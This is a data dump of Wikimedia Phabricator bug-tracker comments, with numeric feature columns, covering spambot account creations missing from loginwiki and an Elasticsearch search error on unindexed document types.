",,,1435265864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.935483870967742,0.9032258064516129,"Change 220970 had a related patch set uploaded (by Gergő Tisza):
Autocreate local versions of global accounts on meta, mw.o

[[GERRIT_URL]]
"
481940,New user account creations (mostly spambots) not logged in loginwiki,"* https://gerrit.wikimedia.org/r/204059 (branch master): #mw1.26wmf12
",,,1435262478,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"* GERRIT_URL (branch master): #mw1.26wmf12
"
481883,New user account creations (mostly spambots) not logged in loginwiki,"Change 204059 merged by jenkins-bot:
Autocreate some local accounts when global account is created

[[https://gerrit.wikimedia.org/r/204059]]",,,1435258317,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,2,False,,,-1,True,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.25,0.9166666666666666,"Change 204059 merged by jenkins-bot:
Autocreate some local accounts when global account is created

[[GERRIT_URL]]"
444018,New user account creations (mostly spambots) not logged in loginwiki,"Change 204059 had a related patch set uploaded (by Glaisher):
Autocreate some local accounts when global account is created

[[https://gerrit.wikimedia.org/r/204059]]
",,,1429103475,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-12,True,3.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,14.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,10.0,4.241379310344827,0.896551724137931,"Change 204059 had a related patch set uploaded (by Glaisher):
Autocreate some local accounts when global account is created

[[GERRIT_URL]]
"
395101,New user account creations (mostly spambots) not logged in loginwiki,Ah. Thanks for clarifying and sorry.,,,1420421311,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.875,0.875,Ah. Thanks for clarifying and sorry.
395015,New user account creations (mostly spambots) not logged in loginwiki,">>! In T85703#953832, @Aklapper wrote:
> This has presumably been fixed by https://gerrit.wikimedia.org/r/182560. The fix will be part of 1.25wmf14. See https://www.mediawiki.org/wiki/MediaWiki_1.25/Roadmap for availability dates.
> If you have reasons to think that the patch did not fix this, please elaborate on the reasons.

The patch was linked with this change only by error, the patch actually was about T61707.",,,1420374330,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,21.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.7916666666666666,"QUOTE
QUOTE
QUOTE

The patch was linked with this change only by error, the patch actually was about T61707."
395013,New user account creations (mostly spambots) not logged in loginwiki,no... see comment above.. these offtopic comments probably need to be removed to remove confusion.. sorry for the mess,,,1420374201,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,0.9090909090909091,no... see comment above.. these offtopic comments probably need to be removed to remove confusion.. sorry for the mess
395010,New user account creations (mostly spambots) not logged in loginwiki,"This has presumably been fixed by https://gerrit.wikimedia.org/r/182560. The fix will be part of 1.25wmf14. See https://www.mediawiki.org/wiki/MediaWiki_1.25/Roadmap for availability dates.
If you have reasons to think that the patch did not fix this, please elaborate on the reasons.",,,1420374071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,14.0,5.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,2.0,16.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8604651162790697,"This has presumably been fixed by GERRIT_URL. The fix will be part of 1.25wmf14. See URL for availability dates.
If you have reasons to think that the patch did not fix this, please elaborate on the reasons."
394977,New user account creations (mostly spambots) not logged in loginwiki,again..,,,1420344576,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,again..
394975,New user account creations (mostly spambots) not logged in loginwiki,"Change 182560 merged by jenkins-bot:
Link to wikiset ID on Special:GlobalGroupPermissions

[[https://gerrit.wikimedia.org/r/182560]]",,,1420344410,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.173913043478261,0.8695652173913043,"Change 182560 merged by jenkins-bot:
Link to wikiset ID on Special:GlobalGroupPermissions

[[GERRIT_URL]]"
394974,New user account creations (mostly spambots) not logged in loginwiki,"Change 182560 had a related patch set uploaded (by Glaisher):
Link to wikiset ID on Special:GlobalGroupPermissions

[[https://gerrit.wikimedia.org/r/182560]]

#patch-for-review",,,1420344268,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9705882352941178,0.8529411764705882,"Change 182560 had a related patch set uploaded (by Glaisher):
Link to wikiset ID on Special:GlobalGroupPermissions

[[GERRIT_URL]]

#patch-for-review"
394862,New user account creations (mostly spambots) not logged in loginwiki,">>! In T85703#952707, @Aklapper wrote:
> @Bennylin: Which other ""small wikis"" are you aware of that are affected?

It happens on all wikis, not just small ones, see for example: https://meta.wikimedia.org/wiki/Special:CentralAuth/LeonidaMcAdams. And while it mostly contains spambots, I've also seen 'real' users. As Glaisher points out, this happens since loginwiki was created. We (as stewards) reported it multiple times, from the early stage on, but not officially on bugzilla. Only via email etc. Maybe this bug helps to finally solve the problem.",,,1420284878,,PHID-USER-b7pgokfca76dam7jq5qd,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,1.0,0.0,0.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,1.0,0.0,2.0,0.0,11.0,14.0,0.0,1.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,13.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,14.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.8,0.788235294117647,"QUOTE
QUOTE

It happens on all wikis, not just small ones, see for example: URL And while it mostly contains spambots, I've also seen 'real' users. As Glaisher points out, this happens since loginwiki was created. We (as stewards) reported it multiple times, from the early stage on, but not officially on bugzilla. Only via email etc. Maybe this bug helps to finally solve the problem."
394855,New user account creations (mostly spambots) not logged in loginwiki,"I just created account ""TTO test id.ws2"" on Indonesian Wikisource using the API. After doing that (without logging in), Special:CentralAuth for this user only showed an entry for id.wikisource.org. 

I then logged into this account via the API - still no auto-creation on loginwiki (or any other wikis). The global account still only existed on id.wikisource.org. 

I then logged into the account using Special:UserLogin, and lo and behold, an account was auto-created on loginwiki and enwikisource. 

So I guess this is API-specific, and that these spambots are using the API. (I mean, why wouldn't they? We've made their life a lot easier by offering a ""createaccount"" API action...)",,,1420279267,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.0,0.0,3.5,0.0,6.0,7.5,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.0,0.0,0.5,1.0,3.5,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,11.5,1.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,5.5,2.0,12.5,1.5,3.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.5,8.5,0.5,2.5,0.0,5.0,0.0,0.5,2.5,0.0,3.5,0.5,0.0,0.0,3.9589041095890414,0.7465753424657534,"I just created account ""TTO test id.ws2"" on Indonesian Wikisource using the API. After doing that (without logging in), Special:CentralAuth for this user only showed an entry for id.wikisource.org. 

I then logged into this account via the API - still no auto-creation on loginwiki (or any other wikis). The global account still only existed on id.wikisource.org. 

I then logged into the account using Special:UserLogin, and lo and behold, an account was auto-created on loginwiki and enwikisource. 

So I guess this is API-specific, and that these spambots are using the API. (I mean, why wouldn't they? We've made their life a lot easier by offering a ""createaccount"" API action...)"
394842,New user account creations (mostly spambots) not logged in loginwiki,">>! In T85703#952983, @gerritbot wrote:
> Change 182560 had a related patch set uploaded (by Glaisher):
> Link to wikiset ID on Special:GlobalGroupPermissions
> 
> [[https://gerrit.wikimedia.org/r/182560]]

...wrong task",,,1420266755,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,0.46153846153846156,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

...wrong task"
394838,New user account creations (mostly spambots) not logged in loginwiki,"Change 182560 had a related patch set uploaded (by Glaisher):
Link to wikiset ID on Special:GlobalGroupPermissions

[[https://gerrit.wikimedia.org/r/182560]]

#patch-for-review",,,1420266044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9705882352941178,0.8529411764705882,"Change 182560 had a related patch set uploaded (by Glaisher):
Link to wikiset ID on Special:GlobalGroupPermissions

[[GERRIT_URL]]

#patch-for-review"
394798,New user account creations (mostly spambots) not logged in loginwiki,"On top of my head:

id.wikisource
id.wiktionary
id.wikibooks
id.wikiquote

I've made a list in checkuserwiki: [[User:Bennylin/Spambots_on_Indonesian_wikis]]",,,1420223438,,PHID-USER-plwc6itr3olxhzrq4uph,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.5625,0.78125,"On top of my head:

id.wikisource
id.wiktionary
id.wikibooks
id.wikiquote

I've made a list in checkuserwiki: [[User:Bennylin/Spambots_on_Indonesian_wikis]]"
394790,New user account creations (mostly spambots) not logged in loginwiki,"I don't think is a ""for some time now"" issue. I've seen many bot accounts with no account on loginwiki ever since loginwiki's creation",,,1420220670,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,7.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,10.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,7.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,13.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.7,0.9,"I don't think is a ""for some time now"" issue. I've seen many bot accounts with no account on loginwiki ever since loginwiki's creation"
394789,New user account creations (mostly spambots) not logged in loginwiki,"@Bennylin: Which other ""small wikis"" are you aware of that are affected?",,,1420220564,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.875,"SCREEN_NAME: Which other ""small wikis"" are you aware of that are affected?"
85505,HTTPFutureHTTPResponseStatus when searching for unindexed document types,"I don't think we're actually planning on using them so this is probably very low priority for us, but I found that searching for only the ""Initiative"" document type (which appears like these: https://secure.phabricator.com/I1 https://secure.phabricator.com/I2) returns this error:

HTTPFutureHTTPResponseStatus
[HTTP/400] 
{""error"":""SearchPhaseExecutionException[Failed to execute phase [query], all shards failed; shardFailures {[i5bA3UBCTgC2Bmr1Px8aYQ][phabricatormain][0]: RemoteTransportException[[elastic1031][inet[/10.64.48.55:9300]][search/phase/query]]; nested: SearchParseException[[phabricatormain][0]: from[-1],size[-1]: Parse Failure [Failed to parse source [{\""sort\"":[{\""dateCreated\"":\""desc\""}],\""from\"":0,\""size\"":101}]]]; nested: SearchParseException[[phabricatormain][0]: from[-1],size[-1]: Parse Failure [No mapping ...
",Medium,50.0,1419911146,1420627338.0,PHID-USER-x7ti5ksby4ubsabntlxa,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-glodozqcbzdaidvowslq,task_description,resolved,True,c3,1,True,False,True,-27,True,1.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.0,0.0,3.0,4.0,0.0,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,11.0,0.5,0.5,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,2.5,4.0,6.5,0.0,1.5,0.0,2.5,0.0,0.5,0.0,1.0,1.5,0.0,0.0,7.5,5.993644067796611,0.6792372881355933,"I don't think we're actually planning on using them so this is probably very low priority for us, but I found that searching for only the ""Initiative"" document type (which appears like these: URL URL returns this error:

HTTPFutureHTTPResponseStatus
[HTTP/400] 
{""error"":""SearchPhaseExecutionException[Failed to execute phase [query], all shards failed; shardFailures {[i5bA3UBCTgC2Bmr1Px8aYQ][phabricatormain][0]: RemoteTransportException[[elastic1031][inet[/10.64.48.55:9300]][search/phase/query]]; nested: SearchParseException[[phabricatormain][0]: from[-1],size[-1]: Parse Failure [Failed to parse source [{\""sort\"":[{\""dateCreated\"":\""desc\""}],\""from\"":0,\""size\"":101}]]]; nested: SearchParseException[[phabricatormain][0]: from[-1],size[-1]: Parse Failure [No mapping ...
"
396088,HTTPFutureHTTPResponseStatus when searching for unindexed document types,"Merged upstream, is this to be closed now?",,,1420626873,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"Merged upstream, is this to be closed now?"
393948,HTTPFutureHTTPResponseStatus when searching for unindexed document types,[[ https://secure.phabricator.com/D11056 | Patch upstream ]],,,1419918166,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-27,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,2.625,0.75,[[ URL | Patch upstream ]]
393945,HTTPFutureHTTPResponseStatus when searching for unindexed document types,"This is more general than initially reported. Widened summary and claiming. I think the best way to do it will be to expand the mapping created at initialization so we've got a complete document structure for querying.

Other option would be to just hide the document type when there are none but that feels more hacky and less likely to be accepted upstream.",,,1419917244,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-glodozqcbzdaidvowslq,task_subcomment,,True,c3,1,True,,,-27,True,0.0,0.0,0.0,1.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,3.0,0.0,9.0,12.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,7.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,6.0,7.0,6.0,3.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,4.0,1.0,0.0,4.318840579710145,0.8115942028985508,"This is more general than initially reported. Widened summary and claiming. I think the best way to do it will be to expand the mapping created at initialization so we've got a complete document structure for querying.

Other option would be to just hide the document type when there are none but that feels more hacky and less likely to be accepted upstream."
